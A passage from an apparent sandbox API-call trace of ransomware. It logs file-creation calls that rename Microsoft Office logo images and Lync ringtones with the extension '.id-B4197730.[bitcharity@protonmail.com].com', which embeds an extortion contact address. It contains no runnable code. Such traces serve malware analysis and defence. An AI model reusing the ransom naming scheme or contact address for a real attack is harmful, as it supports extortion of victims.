office\\root\\office16\\logoimages\\visiologosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.998] CloseHandle (hObject=0x1068) returned 1 [0266.999] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.999] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.999] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.999] CloseHandle (hObject=0x1068) returned 1 [0266.999] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.999] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.000] CloseHandle (hObject=0x1068) returned 1 [0267.000] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.000] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.000] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.001] CloseHandle (hObject=0x1068) returned 1 [0267.001] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.001] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.001] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.001] CloseHandle (hObject=0x1068) returned 1 [0267.002] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.002] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.002] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.002] CloseHandle (hObject=0x1068) returned 1 [0267.003] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.003] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.003] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.003] CloseHandle (hObject=0x1068) returned 1 [0267.004] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.004] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.004] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.005] CloseHandle (hObject=0x1068) returned 1 [0267.005] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.005] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.005] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.006] CloseHandle (hObject=0x1068) returned 1 [0267.006] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.006] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.006] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\VisioLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\visiologosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.007] CloseHandle (hObject=0x1068) returned 1 [0267.007] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.007] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.008] CloseHandle (hObject=0x1068) returned 1 [0267.008] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.008] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.008] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.009] CloseHandle (hObject=0x1068) returned 1 [0267.009] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.009] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.009] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.009] CloseHandle (hObject=0x1068) returned 1 [0267.010] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.010] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.010] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.010] CloseHandle (hObject=0x1068) returned 1 [0267.011] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.011] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.011] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.011] CloseHandle (hObject=0x1068) returned 1 [0267.012] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.012] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.012] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.012] CloseHandle (hObject=0x1068) returned 1 [0267.013] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.013] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.013] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.013] CloseHandle (hObject=0x1068) returned 1 [0267.014] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.014] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.014] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.014] CloseHandle (hObject=0x1068) returned 1 [0267.015] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.015] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.015] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.015] CloseHandle (hObject=0x1068) returned 1 [0267.016] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.016] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.016] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.016] CloseHandle (hObject=0x1068) returned 1 [0267.017] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.017] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.017] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.017] CloseHandle (hObject=0x1068) returned 1 [0267.017] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.018] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.018] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.018] CloseHandle (hObject=0x1068) returned 1 [0267.019] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.019] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.019] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.019] CloseHandle (hObject=0x1068) returned 1 [0267.020] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.020] SetFilePointerEx (in: hFile=0x1068, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.020] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.020] CloseHandle (hObject=0x1068) returned 1 [0267.504] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.505] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.505] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.505] CloseHandle (hObject=0x1278) returned 1 [0267.506] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.506] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.506] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringing.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringing.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.506] CloseHandle (hObject=0x1278) returned 1 [0267.508] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.508] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.508] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone2.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone2.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.508] CloseHandle (hObject=0x1278) returned 1 [0267.509] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.509] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.509] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone3.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone3.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.509] CloseHandle (hObject=0x1278) returned 1 [0267.511] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.511] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone4.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone4.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.511] CloseHandle (hObject=0x1278) returned 1 [0267.512] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.512] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.512] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone5.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone5.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.512] CloseHandle (hObject=0x1278) returned 1 [0267.514] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.515] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.515] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone6.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone6.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.515] CloseHandle (hObject=0x1278) returned 1 [0267.517] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.517] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.517] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\Media\\LYNC_ringtone7.wav.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\media\\lync_ringtone7.wav.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.518] CloseHandle (hObject=0x1278) returned 1 [0267.520] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x279fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.520] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, 